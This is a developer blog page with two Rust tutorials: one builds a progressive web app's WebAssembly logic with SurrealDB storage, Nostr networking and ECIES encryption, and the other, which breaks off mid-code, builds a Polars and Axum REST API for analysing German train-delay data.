zupzup

Building Progressive Web Apps using Rust

25 Apr 2025 00:00 +0000

This post was originally posted on the LogRocket blog on 11.04.2025 and was cross-posted here by the author.

Progressive web apps (PWAs) combine the advantages of web applications with the comfort of native apps, which can run locally and offline. Over the last few years, support for PWAs, in terms of available features, has increased. PWAs have become an attractive alternative to investing the effort to build both web and native versions of an application.

In this article, we will leverage Rust to build the business logic for a rich PWA, which can then be combined with a JavaScript/TypeScript frontend. Of course, it’s also possible to build the frontend with Rust, such as by using Leptos. But the point of this article is to show that complex business logic, including storage, networking, and security implications, can be built using Rust leveraging WASM because performance safety and robustness are especially relevant in those areas.

But first, let’s talk a bit about progressive web apps and why they’re an interesting approach.

Progressive web apps

PWAs combine the strengths of both mobile apps and web apps but only require a single code base, allowing us to leverage the whole range of the rich web ecosystem.

Besides that, since the advent of WASM, we can now also leverage the ecosystems of other languages that compile to WASM, such as Rust, which gives us another level of power over what we can do in the browser.

Compared to traditional web apps, PWAs offer native-like features such as push notifications and service workers for caching and offline access. This not only boosts performance but also provides a more native feel.

Another great benefit of PWAs is that we can, with the same code base, offer a traditional web application in addition to the PWA, which serves as a replacement for a native mobile or desktop application.

Update management and independence from app stores are additional benefits, and we can use all the security features of browsers and build on top of them.

As you can see, PWAs offer a range of powerful concepts we can take advantage of.

In this tutorial, we will build a contrived simple application that has a storage layer using SurrealDB, a multi-modal database, which works with a file in the cloud or in the browser using IndexedDB, using the same API.

We’ll also use a Nostr-based networking layer. If you’ve never heard of Nostr, think early Twitter, but semi-decentralized via relays and focused on a simple, open protocol on which any social can be built. Technologically, it uses WebSockets, transported via relay servers to communicate between users. We won’t explore Nostr in too much detail — we’ll just use it to show that complex networking can easily be achieved using Rust and Wasm in the browser and that this can be used in a PWA.

Besides these layers, we’ll also implement ECIES-based encryption and decryption for messages and images that we upload.

On startup of the application, we will generate keys for Nostr and ECIES and store them. If the keys exist on startup, we just use them and don’t generate them anew.

Then, it will be possible to send messages to the Nostr network and to fetch these published messages from the network. We will also encrypt and store every message we send locally and will be able to fetch them.

Additionally, we will implement a file upload for images, where we’ll encrypt and store the image bytes in IndexedDB via SurrealDB and, when fetched, decrypt and show them in the browser.

Of course, this doesn’t constitute a “real” application, but the goal is to show that based on the layers we build here, we will be able to build a complex, rich application.

Because of the scope of this article, we won’t be able to build fully coherent features, and we’ll also skip a bit on error handling and automated tests. Instead, we’ll implement some use cases in a basic way to showcase that it’s possible to build just about anything you want for a PWA on this basis.

Let’s start building!

Setting up our Rust project

To follow along, all you need is a reasonably recent Rust installation. 1.85 being the latest one at the time of this writing.

First, create a new Rust project:

cargo new rust-pwa-example
cd rust-pwa-example

Next, edit the Cargo.toml file and add the dependencies you’ll need:

[dependencies]

[lib]
crate-type = ["cdylib"]

[dependencies]
serde = "1.0"
serde-wasm-bindgen = "0.6"
ecies = { version = "0.2", default-features = false, features = ["pure"] }
hex = "0.4"
surrealdb = { version = "2.2", features = ["kv-indxdb"] }
getrandom = { version = "0.3", features = ["wasm_js"] }
wasm-bindgen = "0.2"
wasm-bindgen-futures = "0.4"
nostr-sdk = "0.39"
console_error_panic_hook = "0.1"
console_log = { version = "1.0", features = ["color"] }
log = "0.4"

We use serde and serde-wasm-bindgen for serialization between Rust and JavaScript/TypeScript. As mentioned above, we’re going to encrypt messages and images, and we’ll use the ecies and hex crates to do so.

For storage, we’ll use surrealdb. Since we’re building a WASM-based application, we also add wasm-bindgen and wasm-bindgen-futures, so we can create bindings for JS/TS into our Rust code and can run asynchronous functions on the Rust side as well.

For our network layer via Nostr, we’ll use nostr-sdk and finally, we add the log and console_log crate, so our Rust logs show up in the browser and console_error_panic_hook so panics are logged in the browser as well.

Since we’re not only building a WASM-based Rust project but will embed this within a progressive web app, we also need to create some files for that purpose.

We’ll start with a basic index.html file:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="theme-color" content="#000000">
    <link rel="manifest" href="/manifest.json">
    <title>Example PWA with Rust</title>
</head>
<body>
    <h1>Example PWA using Rust</h1>
    <script type="module" src="/main.js"></script>
</body>
</html>

This references a basic main.js, which can stay empty for now, and a manifest.json, which we’ll create next:

{
    "short_name": "RustExamplePWA",
    "name": "Rust Example Progressive Web App",
    "icons": [
        {
            "src": "img/logo_192x192.png",
            "sizes": "192x192",
            "type": "image/png"
        },
        {
            "src": "img/logo_512x512.png",
            "sizes": "512x512",
            "type": "image/png"
        }
    ],
    "start_url": "/",
    "background_color": "#000000",
    "theme_color": "#dddddd",
    "display": "standalone"
}

Here, we define the name, short name, icons, and some other settings for the progressive web app. This is relevant for the case where the app is installed locally on a phone.

And the following service-worker.js:

self.addEventListener("install", (event) => {
    event.waitUntil(
        caches.open("pwa-cache").then((cache) => {
            return cache.addAll(["/", "/index.html", "/main.js", "/img/logo_192x192.png", "/img/logo_512x512.png", "/pkg/index.js", "/pkg/index_bg.wasm"]);
        })
    );
});

self.addEventListener("fetch", (event) => {
    event.respondWith(
        caches.match(event.request).then((response) => {
            return response || fetch(event.request);
        })
    );
});

The only thing we add here is that if the app is installed, all relevant files are cached, so the app works fully offline. The files include the manually created files and the generated Wasm files.

Finally, we’ll create some cute icons using gen AI and add them to the img folder. ☺️

That’s it for the initial setup. Let’s get to the Wasm build pipeline next so we can fully build our project.

Wasm build pipeline

To build a Wasm binary that can be used in the browser from our Rust code, we use the wasm-pack tool, and we have to compile to the wasm32-unknown-unknown target, which can be added to your local Rust installation like this:

rustup target add wasm32-unknown-unknown

Also, in .cargo/config.toml, we need to add some additional flags:

[build]
target = "wasm32-unknown-unknown"
rustflags = ["--cfg", "getrandom_backend=\"wasm_js\""]

This configures what cargo, when run inside of this project, uses by default.

The target setting is to make sure our cargo commands, like check and clippy, as well as our editor, use the wasm32 target by default.

The rustflags setting is something we need in this case for the given versions of SurrealDB and getrandom, which configures the getrandom crate to use the wasm_js backend. This means that random number generation doesn’t use an OS-specific backend but a JavaScript-based one, as documented here.

Using the getrandom crate won’t be necessary for every Wasm-based project, but it’s good to be aware of it since some dependencies can have specifics regarding being able to be compiled for Wasm.

Now, we can build the project and thus start to implement our app.

Storage layer

When building our app, we’ll start with the SurrealDB-based storage layer. The first thing we need to do is to initialize a database connection (underneath, in the browser, SurrealDB uses IndexedDB) that we can use from any further function call into our API.

For this purpose, we’ll use a thread_local variable to keep the database connection around. To be able to initialize it and re-use it, we use a RefCell with an Option to the database connection inside:

use surrealdb::{engine::any::Any, Surreal};
use std::cell::RefCell;

thread_local! {
    static SURREAL_DB: RefCell<Option<Surreal<Any>>> = const { RefCell::new(None) };
}

Using this, we can now initialize the database and create a get_db() function, with which we can get a handle to it in any other API function:

async fn init_surreal_db() {
    let db = surrealdb::engine::any::connect("indxdb://default")
        .await
        .unwrap();
    db.use_ns("").use_db("default").await.unwrap();
    SURREAL_DB.with(|surreal_db| {
        let mut db_ref = surreal_db.borrow_mut();
        if db_ref.is_none() {
            *db_ref = Some(db);
        }
    });
}

fn get_db() -> Surreal<Any> {
    SURREAL_DB
        .with(|db| db.borrow().clone())
        .expect("is initialized")
}

Above, we initialized a connection to IndexedDB. Then we also initialize logging so we can log from Rust to the browser:

fn init_logging() {
    std::panic::set_hook(Box::new(console_error_panic_hook::hook));
    console_log::init_with_level(log::Level::Info).unwrap();
}

We also call our init functions within an initialize() function, which we expose to JS/TS via wasm_bindgen:

#[wasm_bindgen]
pub async fn initialize() {
    init_logging();
    init_surreal_db().await;
}

Once we build this app, in the main.js file we generated before, we can import the initialize function and call it:

import init, {
    initialize,
} from '../pkg/index.js';

async function run() {
    await init();
    await initialize();
}

if ("serviceWorker" in navigator) {
    navigator.serviceWorker
        .register("/service-worker.js")
        .then(() => console.log("registered service worker"))
        .catch((err) => console.error("registration of service worker failed", err));
}

await run();

Above, we initialized the serviceWorker that we defined before, initializing wasm using the init() function, and initializing our API using our exported initialized() function.

This should serve well as a basis for our API layer. Let’s implement encryption next:

use ecies::utils::generate_keypair;
use serde::{Deserialize, Serialize};

#[derive(Serialize, Deserialize, Clone)]
pub struct Keys {
    pub sk: String,
    pub pk: String,
}

pub fn generate_encryption_keys() -> Keys {
    let (sk, pk) = generate_keypair();
    Keys {
        sk: hex::encode(sk.serialize()),
        pk: hex::encode(pk.serialize()),
    }
}

We define a Keys struct for storing and retrieving keys and a function to create a new ECIES key pair.

Then, we implement the persistence logic so we can both fetch these keys from the database and also store a key pair there:

async fn get_encryption_keys_from_db() -> Option<Keys> {
    let db = get_db();
    let res: Option<Keys> = db.select(("keys", "encryption")).await.unwrap();
    res
}

async fn save_encryption_keys_to_db(keys: &Keys) {
    let db = get_db();
    let _: Option<Keys> = db
        .create(("keys", "encryption"))
        .content(keys.clone())
        .await
        .unwrap();
}

We use the above-defined get_db() function to get our stored DB connection and use the SQL-like SurrealDB SDK API to save keys to and fetch from the keys table.

In lib.rs/initialize, we generate the keys on startup and save them in the database:

...
save_encryption_keys_to_db(&generate_encryption_keys()).await;
...

Now that our basic key management is implemented (of course, in a real, production application, we wouldn’t just save the private key as plaintext in the database, but rather use an API such as the Web Crypto API).

Next, let’s implement utility functions for encrypting and decrypting bytes:

fn encrypt(input: &[u8], key: &str) -> Vec<u8> {
    let decoded_key = hex::decode(key).unwrap();
    ecies::encrypt(&decoded_key, input).unwrap()
}

fn decrypt(input: &[u8], key: &str) -> Vec<u8> {
    let decoded_key = hex::decode(key).unwrap();
    let decoded_msg = input;
    ecies::decrypt(&decoded_key, &decoded_msg).unwrap()
}

We simply use the ecies crate API, with the public and private key passed in as hex-encoded strings to implement encryption and decryption.

Now that we have the basics of storage and encryption in place, let’s get to encrypting and storing messages and files!

First, let’s define some basic data types:

#[derive(Serialize, Deserialize, Clone)]
pub struct Message {
    pub msg: String,
}

#[derive(Serialize, Deserialize, Clone)]
pub struct File {
    pub name: String,
    pub bytes: Vec<u8>,
}

Then, we start by implementing a function to fetch all local messages from a msg table and a function that we expose, which gets the encryption keys, fetches the messages, decrypts them, and serializes them so they can be used from JavaScript/TypeScript. Let’s take a look:

use wasm_bindgen::prelude::*;

async fn fetch_messages() -> Vec<Message> {
    let db = get_db();
    let msgs: Vec<Message> = db.select("msg").await.unwrap();
    msgs
}

#[wasm_bindgen]
pub async fn fetch_and_decrypt_local_messages() -> JsValue {
    let encryption_keys = get_encryption_keys_from_db().await.unwrap();
    let msgs = fetch_messages().await;
    let decrypted: Vec<String> = msgs
        .into_iter()
        .map(|msg| {
            std::str::from_utf8(&decrypt(
                &hex::decode(msg.msg.as_bytes()).unwrap(),
                &encryption_keys.sk,
            ))
            .unwrap()
            .to_owned()
        })
        .collect();
    serde_wasm_bindgen::to_value(&decrypted).unwrap()
}

The database fetching is the same as with the keys — nothing too interesting here. But when we check out the fetch_and_decrypt_local_messages function, which is annotated using wasm_bindgen again, thus being exposed to JS/TS, it has a JsValue as a return value.

We can’t just pass Rust values to and from JS/TS. For some values, such as strings and numbers, this works fine, but for more complex data types, there are some limits, and we have to serialize them in some way.

One way to do this is to just serialize it to a JSON string and then parse it in JS/TS. In this case, we use the serde_wasm_bindgen crate, which lets us serialize to wasm_bindgen::JsValue and deserialize from the same type, which makes it possible to serialize to arbitrary JavaScript values.

So, after fetching the keys and messages, we iterate the result and decrypt the messages by converting them to bytes, decrypting, and converting them to a UTF-8 string again.

Finally, we use serde_wasm_bindgen to serialize the Vec<String> to be used in JS/TS.

Cool! We’ll implement saving messages later when we implement our network layer. Now, though, we still have our images to take care of. We can just re-use the logic we used before to implement encrypting and storing and retrieving and decrypting images to and from the storage:

#[wasm_bindgen]
pub async fn save_image(file_name: &str, file_bytes: Vec<u8>) {
    let encryption_keys = get_encryption_keys_from_db().await.unwrap();
    let db = get_db();
    let f = File {
        name: file_name.to_owned(),
        bytes: encrypt(&file_bytes, &encryption_keys.pk),
    };
    let _: Option<File> = db.create("img").content(f).await.unwrap();
}

#[wasm_bindgen]
pub async fn fetch_images() -> JsValue {
    let encryption_keys = get_encryption_keys_from_db().await.unwrap();
    let db = get_db();
    let files: Vec<File> = db.select("img").await.unwrap();
    let decrypted: Vec<File> = files
        .into_iter()
        .map(|f| File {
            name: f.name,
            bytes: decrypt(&f.bytes, &encryption_keys.sk),
        })
        .collect();
    serde_wasm_bindgen::to_value(&decrypted).unwrap()
}

We fetch the encryption keys, get our DB connection, and create a File, with the bytes being the encrypted bytes of the incoming image.

For fetching images, we do the same as above in the fetch_and_decrypt_messages function.

That’s it for the storage layer. Let’s implement the network layer next.

Network layer

For our Nostr-based networking layer, we start the same way as with storage, by initializing a Nostr client that we can use from API functions using thread_local and RefCell:

thread_local! {
    static NOSTR_CLIENT: RefCell<Option<nostr_sdk::Client>> = const { RefCell::new(None) };
   ...
}

Then, we implement an init_nostr_client function, which takes a Nostr private key as a parameter:

async fn init_nostr_client(private_key: &str) {
    let keys = nostr_sdk::Keys::parse(private_key).unwrap();
    let client = nostr_sdk::Client::builder().signer(keys.clone()).build();
    client.add_relay("wss://relay.damus.io").await.unwrap();

    client.connect().await;
    let meta = nostr_sdk::Metadata::new()
        .name("wasmTestUser")
        .display_name("wasmTestUser");
    client.set_metadata(&meta).await.unwrap();

    NOSTR_CLIENT.with(|cl| {
        let mut client_ref = cl.borrow_mut();
        if client_ref.is_none() {
            *client_ref = Some(client);
        }
    });
}

fn get_nostr_client() -> nostr_sdk::Client {
    NOSTR_CLIENT
        .with(|client| client.borrow().clone())
        .expect("is initialized")
}

We transform the given key to a Nostr Keys and create a new Client. We add a relay — in this case, just the default damus.io (one of the Nostr social network clients) relay and connect to it. Then, we add some dummy metadata for our user and set the client to our thread_local variable.

Now, with the get_nostr_client function, we can adapt our initialize function to check if we already have keys in the storage or generate new ones and initialize our database and networking layer:

#[wasm_bindgen]
pub async fn initialize() -> String {
    init_logging();
    init_surreal_db().await;
    if let Some(nostr_keys) = get_nostr_keys_from_db().await {
        init_nostr_client(&nostr_keys.sk).await;
        nostr_keys.pk
    } else {
        let nostr_keys = generate_nostr_keys();
        save_nostr_keys_to_db(&nostr_keys).await;
        save_encryption_keys_to_db(&generate_encryption_keys()).await;
        nostr_keys.pk
    }
}

We initialize logging and storage and, if we don’t have keys yet, generate and store them. Once we have the keys, we initialize the Nostr client.

Next, let’s define the Event data structure that we’ll use to fetch Nostr messages from the network:

#[derive(Serialize, Deserialize, Clone)]
pub struct Event {
    pub id: String,
    pub pk: String,
    pub content: String,
    pub ts: u64,
}

We also define the function to generate initial Nostr keys:

pub fn generate_nostr_keys() -> Keys {
    let keys = nostr_sdk::Keys::generate();
    Keys {
        sk: keys.secret_key().to_secret_hex(),
        pk: keys.public_key().to_hex(),
    }
}

Now we can get to sending messages to the Nostr network:

use wasm_bindgen_futures::spawn_local;
use log::info;

#[wasm_bindgen]
pub async fn send_nostr_msg(msg: &str) {
    let msg = msg.to_owned();
    let msg_clone = msg.clone();
    spawn_local(async move {
        let event_builder = nostr_sdk::EventBuilder::text_note(msg_clone);
        let event_id = get_nostr_client()
            .send_event_builder(event_builder)
            .await
            .unwrap();
        info!("sent event, event id: {}", event_id.id());
    });
    let encryption_keys = get_encryption_keys_from_db().await.unwrap();
    let encrypted = hex::encode(encrypt(msg.as_bytes(), &encryption_keys.pk));
    save_encrypted_msg(&encrypted).await;
}

In this function, we showcase how we can actually run something asynchronously in Rust using wasm_bindgen_futures::spawn_local, even if it’s called from JS/TS. This way, we can run entire background processes on the event loop in WASM.

We have to clone the message so we can pass it to the async function. Then, we use the Nostr EventBuilder to create a text note and send the event using the Nostr client we created and stored above.

Finally, we encrypt the message and store it in IndexedDB with the following function:

async fn save_encrypted_msg(encrypted: &str) {
    let db = get_db();
    let _: Option<Message> = db
        .create("msg")
        .content(Message {
            msg: encrypted.to_owned(),
        })
        .await
        .unwrap();
}

Nothing too surprising here; we simply save the given encrypted message into the msg table.

With event sending in place, we can now implement fetching events from the Nostr network:

#[wasm_bindgen]
pub async fn fetch_nostr_events(from: &str) -> Result<JsValue, JsValue> {
    let filter = nostr_sdk::Filter::new()
        .author(nostr_sdk::PublicKey::parse(from).unwrap())
        .kind(nostr_sdk::Kind::TextNote);
    let events = get_nostr_client()
        .fetch_events(filter, std::time::Duration::from_secs(10))
        .await
        .unwrap();
    Ok(serde_wasm_bindgen::to_value(
        &events
            .into_iter()
            .map(|e| Event {
                id: e.id.to_hex(),
                pk: e.pubkey.to_hex(),
                content: e.content,
                ts: e.created_at.as_u64(),
            })
            .collect::<Vec<Event>>(),
    )
    .unwrap())
}

We first create a Nostr Filter, which we configure to just filter for TextNote events from ourselves (author). Here, we could also define other filters to get other kinds of messages from the network, such as only fetching events that have been published in the last X days or hours.

Then, we use our Nostr client to fetch events based on this filter with a timeout of 10 seconds. The events we get from Nostr, transformed into our Event struct, are then serialized to JsValues using serde_wasm_bindgen.

That’s it for our simple networking layer. Of course, we could have also used a crate such as reqwest to make arbitrary HTTP requests as well.

Building a simple GUI

Finally, let’s build a very simple GUI to interact with the API we built in Rust for Wasm:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="theme-color" content="#000000">
    <link rel="manifest" href="/manifest.json">
    <title>Example PWA with Rust</title>
</head>
<body>
    <h1>Example PWA using Rust</h1>
    <div>Local npub: <span id="npub"></span></div>
    <input type="text" id="inp"/>
    <button id="sb">Send</button>
    <button id="fetch">Fetch Nostr Events</button>
    <h3>Remote Nostr Events:</h3>
    <div id="remote_events"></div>
    <h3>Local decrypted messages:</h3>
    <div id="local_messages"></div>
    <div>
        <h2>Uploads</h2>
        <div>
            <input type="file" id="file_input" />
            <button type="button" id="upload">upload</button>
            <button type="button" id="fetch_images">Fetch Images</button>
        </div>
        <div id="files">
        </div>
    </div>
    <script type="module" src="/main.js"></script>
</body>
</html>

We add a few things to index.html. First, we create a div to display our npub, which is the public key and, at the same time, the identifier on the Nostr network.

Then, we add a text field with a submit button to send events and a button to trigger fetching events from the Nostr networks.

Then, we add containers for both the remote events and the local messages.

Finally, we add a file input and two buttons — one to upload and one to fetch and display all stored images — as well as a container for displaying the files.

Of course, in a real application, we could also use frameworks such as Svelte, Vue, or React to build a GUI and integrate it with our generated Wasm code.

In this case, we will just use vanilla JavaScript to import and use our API functions:

import init, {
    save_image,
    fetch_images,
    initialize,
    send_nostr_msg,
    fetch_nostr_events,
    fetch_and_decrypt_local_messages
} from '../pkg/index.js';

let npub;
async function run() {
    await init();
    npub = await initialize();
    document.getElementById("npub").textContent = npub;
    await refresh_local_messages();
}

await run();

We simply import the exported functions from the generated pkg/index.js in the same way we did before with the initialize function.

Then, we store the npub returned from the new initialize function, set it to the container for the npub, and call a function to refresh the local messages, so on startup, we display all locally stored messages:

async function refresh_local_messages() {
    let local_messages = await fetch_and_decrypt_local_messages();
    let container = document.getElementById("local_messages");
    container.innerHTML = "";
    local_messages.forEach(str => {
        let div = document.createElement("div");
        div.textContent = str;
        container.appendChild(div);
    });
}

Here, we just call the fetch_and_decrypt_local_messages Wasm function, iterate the results, and add a dir for each of them into the local messages container.

Next, let’s implement the event handlers for sending messages and fetching remote messages from Nostr:

document.getElementById("sb").addEventListener("click", async () => {
    let input = document.getElementById("inp").value;
    await send_nostr_msg(input);
    await refresh_local_messages();
});

document.getElementById("fetch").addEventListener("click", async () => {
    await refresh_remote_messages();
});

When clicking the Send button, we send the text from the inp text input to the Nostr network using the send_nostr_msg Wasm function and call refresh_local_messages, so the new message is immediately shown.

Similarly, on clicking the Fetch button, we re-fetch and refresh the remote messages as well with the following function:

async function refresh_remote_messages() {
    let events = await fetch_nostr_events(npub);
    let container = document.getElementById("remote_events");
    container.innerHTML = "";
    events.forEach(event => {
        let div = document.createElement("div");
        div.textContent = event.content + " at " + event.ts + " (" + event.id + ")";
        container.appendChild(div);
    });
}

We fetch the Nostr events using the Wasm function fetch_nostr_events and put a div with the content, timestamp, and ID of the events into the message container.

Finally, let’s implement the file upload and fetching logic in our very basic GUI:

document.getElementById("upload").addEventListener("click", async () => {
    const file = document.getElementById("file_input").files[0];
    if (!file) return;

    const name = file.name;
    const bytes = await file.arrayBuffer();
    const data = new Uint8Array(bytes);

    await save_image(name, data);
    console.log("upload successful");
});

document.getElementById("fetch_images").addEventListener("click", async () => {
    let files = await fetch_images();
    let container = document.getElementById("files");
    container.innerHTML = "";
    files.forEach(file => {
        let arr = new Uint8Array(file.bytes);
        let blob = new Blob([arr]);
        let url = URL.createObjectURL(blob);

        console.log("file", file, url, blob);
        let img = document.createElement("img");
        img.src = url;
        container.appendChild(img);
    });
});

For uploading, we take the file from the file input and transform the bytes of the file to a Uint8Array, so we can pass it to the Rust-based Wasm API as a Vec<u8>. We also send the file name and call the Wasm function save_image to encrypt and store the image in IndexedDB.

When clicking on the Fetch Images button, we call the Wasm API function fetch_images and show the fetched and decrypted images in the files container.

That’s it for our very basic GUI. Now, let’s see if all of this works!

Testing the progressive web app

As mentioned above, we use wasm-pack to build our Wasm binary:

wasm-pack build --dev --target web --out-name index

If we run this and check the pkg folder, we’ll see the following files:

index.js: The JavaScript entry point
index.d.ts: TypeScript bindings
index_bg.wasm: The WASM binary
index_bg.wasm.d.ts: TypeScript bindings for the WASM binary
package.json: Generated for the package, to publish it to npm, or import it as a dependency, for example

Then, we can use a local http-server (but really, any http server that can serve .wasm files will do) to serve the files, in this case, to http://localhost:8080/.

First, we can observe that Chrome shows us a button to install the app as a PWA (on the right):

If we do this, the app will be available on the Chrome apps, and we can also create desktop or mobile icons to immediately start the app from our local systems. And since all files are cached, we could also use the app without a network connection.

Of course, to really implement offline-first functionality properly, we would always need to think about conflict resolution and what happens if someone wants to interact with the network but it is offline, which is out of scope for this article but an important part of PWAs:

Finally, let’s check out our application. We can see that a Nostr npub is created and that already sent messages are fetched locally at startup:

We can send new messages, fetch remote messages, and even upload and fetch images! Everything seems to work — nice!

Everything we set out to do works. We’re able to leverage our Rust-based Wasm API to fully interact with browser storage and browser networking and even implement local encryption and decryption.

Besides manual testing, we can, of course, leverage normal unit tests and also tests that are executed either in node or the browser using wasm-pack test.

Also, it’s possible to debug the Wasm code in Chrome by creating a source map and serving it together with the Wasm code.

You can find the full code for this tutorial on GitHub. You can also play around with this simple example PWA here.

Conclusion

In this article, we built a very simple progressive web app leveraging Rust via WebAssembly. The Rust ecosystem around Wasm is getting more and more mature, especially compared to a few years ago.

However, some areas are still under construction, and while many things can be achieved, it isn’t always straightforward. For example, it’s possible to leverage multithreading support in web-workers via Wasm from Rust, as described here, or using crates such as wasm-bindgen-rayon, but getting it to work includes additional steps, like rebuilding the Wasm target with additional flags.

Still, we were able to build an app with powerful storage and networking integration, encryption support, and a convenient API for consuming this via a JavaScript or TypeScript frontend. The TypeScript bindings generated by wasm-bindgen are already pretty good, but I also had good experiences using additional tools such as Tsify to expose the Rust API to any frontend.

Also, packages built using wasm-pack for the web can be rather seamlessly integrated into existing projects, even if they use complex build tools such as Vite or webpack, as documented here.

Overall, both PWAs and especially WebAssembly are making big strides, and we’re slowly moving into a direction where it’s possible to build near-native performance, secure, sandboxed, but fully featured and rich apps, which run anywhere. I, for one, am looking forward to that future. :)

Using Polars in Rust for high-performance data analysis

05 Nov 2024 00:00 +0000

This post was originally posted on the LogRocket blog on 21.10.2024 and was cross-posted here by the author.

In this article, we’ll take a look at how to use Rust and the popular Polars high-performance DataFrame library to build a basic data analysis application, which exposes data sets and querying capabilities via a REST-based Web API.

We’re also going to build a simple backend web application, which exposes a REST API, which in turn exposes Polars’ powerful and high-performance querying capabilities on a huge dataset, to see how one could go about exploring some interesting data sets.

We’ll dive into Polars concepts later, but for now, let’s jump into data and setup.

Data

Since we want to do data analysis in this tutorial, we’ll need some data. It would also be great to have at least two different data sources so we can play around with Polar’s data transformation APIs.

For this purpose, we’ll use the MIT licensed Deutsche Bahn (DB) delays data set from Kaggle, which is a collection of train ride delays in Germany, in CSV format. This data set contains data about train stations, where they are, where the train went before, the amount of delay at arrival and departure and such.

The second data set we’ll use is an Open Database licensed mapping from zip code to population and area, based on OpenStreetMap data from https://www.suche-postleitzahl.org, also in CSV format. This data set is basically a mapping of German zip codes to the population and area of these places.

With these two data sets, we can do some analysis on train delays and also attempt to correlate them with a zip code’s population and area to see if, e.g., trains are delayed more in densely populated areas.

Setup

To follow along, all you need is a reasonably recent Rust installation with 1.81 being the latest one at the time of this writing.

First, create a new Rust project:

    cargo new rust-polars-example
    cd rust-polars-example

Next, edit the Cargo.toml file and add the dependencies you’ll need:

    [dependencies]
    axum = "0.7.5"
    polars = { version = "0.42.0", features = ["lazy", "csv", "json", "parquet", "strings", "regex", "cov", "serde"] }
    serde = { version = "1.0.204", features = ["derive"] }
    serde_json = "1.0.120"
    tokio = { version = "1.39.2", features = ["full"] }
    tracing = "0.1.40"
    tracing-subscriber = "0.3.18"

We’ll use Axum with Tokio to build a web backend, Tracing for logging, and Serde for serialization and deserialization.

And of course, we’ll also need Polars. As you can see, there are a lot of features we activated for handling csv, JSON, strings, etc., as well as for IO and correlations. You can find a list of feature flags and what they do in the documentation.

Generally, a thing I found when working with Polars was that sometimes, if something doesn’t work, checking if it might be hidden behind a feature flag often led me to the solution.

With the project setup out of the way, let’s get some data into our application and start building a web server for our REST API.

Loading data

Since we’re building an example application for data analysis, the most important part is getting the data into our application. Fortunately, Polars provides us with plenty of options to load different file formats in different ways, which can also be configurable. So loading our two CSV files is rather easy:

        // in async fn main() {
        ...
        let now = Instant::now();
        info!("reading delays csv dataframe");

        let df_delays = CsvReadOptions::default()
            .with_has_header(true)
            .try_into_reader_with_file_path(Some("data.csv".into()))
            .expect("can read delays csv")
            .finish()
            .expect("can create delays dataframe");

        let df_cities = CsvReadOptions::default()
            .with_has_header(true)
            .try_into_reader_with_file_path(Some("zip_pop.csv".into()))
            .expect("can read cities csv")
            .finish()
            .expect("can create cities dataframe");

        info!("done reading csv {:?}", now.elapsed());
        ...

We use Polars CSV reader, configuring that we indeed have a header and specifying our file name and loading the data in this way.

The data.csv file contains the train delays and zip_pop.csv contains the mapping from zip codes to population and area data. And while zip_pop.csv is only 473 KB big, the train delay data set clocks in at ~770MB, which means loading it takes a few seconds (~10 on my machine).

One way to get around this issue during development is to just use a subset of the data, such as the first 100,000 lines — something that’ll load instantly — and load that instead while building out the queries.

With the data in the system, let’s build our web server and see how we can make the data available to our REST API.

Web server setup

Since we’re going to expose our data analysis mechanisms via a REST API, we first need to build a simple web server. In this case, we’ll use Axum and Tokio to do so:

    #[tokio::main]
    async fn main() {
        tracing_subscriber::fmt::init();
        ...
    }

We start by initializing the tracing_subscriber to set up our logging infrastructure in an async main function.

Then, we define an AppState struct, which we’ll use to share the data frames we got from importing the CSV files above with our REST handlers:

    struct AppState {
        df_delays: DataFrame,
        df_cities: DataFrame,
    }

    impl AppState {
        fn new(df_delays: DataFrame, df_cities: DataFrame) -> Self {
            Self {
                df_delays,
                df_cities,
            }
        }
    }

The application state simply holds the two data frames. It is kept inside of an atomic reference counted smart pointer (std::sync::Arc), so we can share it safely across threads:

        // in main
        let app_state = Arc::new(AppState::new(df_delays, df_cities));

        let app = Router::new()
          .route("/delays", get(delays))
          .route("/cities/:zip/population", get(cities_pop))
          .route("/cities/:zip/area", get(cities_area))
          .route("/delays/:zip/", get(delays_by_zip))
          .route("/delays/corr/:field1/:field2/", get(delays_corr))
          .with_state(app_state);

We create a new instance of AppState wrapped inside an Arc and create our Axum router. We define several routes:

GET /delays?sort=[Asc/Desc]&limit=[u32] - an endpoint for fetching delays with optional search and limitation parameters
GET /cities/[zip]/population and GET /cities/[zip]/area - endpoints for fetching a zip code’s population and area
GET /delays/[zip]/ - an endpoint for fetching delays for a specified zip code
GET /delays/corr/[field1]/[field2]/ - an endpoint for calculating the Pearson Correlation Coefficient between two fields. Or, in other words, an endpoint to find out if there is a linear relation between the values in two fields (e.g. if there are more delays in areas with a higher population)

We’ll look at the implementation of the handlers within get(..) after setting up the rest of the web server.

Next, we create a TcpListener listening on localhost:8000 and serve the app defined with the above router:

        // in main
        let listener = TcpListener::bind("0.0.0.0:8000")
            .await
            .expect("can start web server on port 8000");

        info!("listening on {:?}", listener.local_addr());

        axum::serve(listener, app)
            .await
            .expect("can start web server");
    }

That’s it for the web server setup. Next, let’s implement the first handler delays, which implements querying our data set for delays with a certain sorting and limit.

A simple first query

The first endpoint returns a limited list of delays, sorted either ascending or descending, depending on what the caller passes as query parameters to the endpoint.

To implement this, the first thing we need to do is create a struct for these options:

    #[derive(Deserialize, Eq, PartialEq)]
    enum SortingOptions {
        Desc,
        Asc,
    }

    #[derive(Deserialize)]
    struct DelayOptions {
        sorting: Option<SortingOptions>,
        limit: Option<u32>,
    }

Now in the delays handler function, we can use these DelayOptions as Query parameters:

    async fn delays(
        query: Query<DelayOptions>,
        app_state: State<Arc<AppState>>,
    ) -> Result<Json<Value>, StatusCode> {
      ...
    }

Besides the query parameters, the handler gets passed to our app state, so we can access the loaded data frames.

First, we figure out which sorting and limit options to take for our query:

        let mut sorting_mode = SortMultipleOptions::default()
            .with_order_descending(true)
            .with_nulls_last(true);
        if let Some(query_sorting) = &query.sorting {
            if *query_sorting == SortingOptions::Asc {
                sorting_mode = SortMultipleOptions::default()
                    .with_order_descending(false)
                    .with_nulls_last(true);
            }
        }
        let mut limit = 10;
        if let Some(query_limit) = query.limit {
            limit = query_limit
        }

We default to Desc and limit 10 and otherwise take the supplied values — if the user provides incompatible values, they’ll get an HTTP 400 error.

With the amount of items to return and the sorting order, we can finally get to querying data using Polars:

        let delays = app_state
            .df_delays
            .clone()
            .lazy()
            .sort(["arrival_delay_m"], sorting_mode)
            .select([cols([
                "ID",
                "arrival_delay_m",
                "departure_delay_m",
                "city",
                "zip",
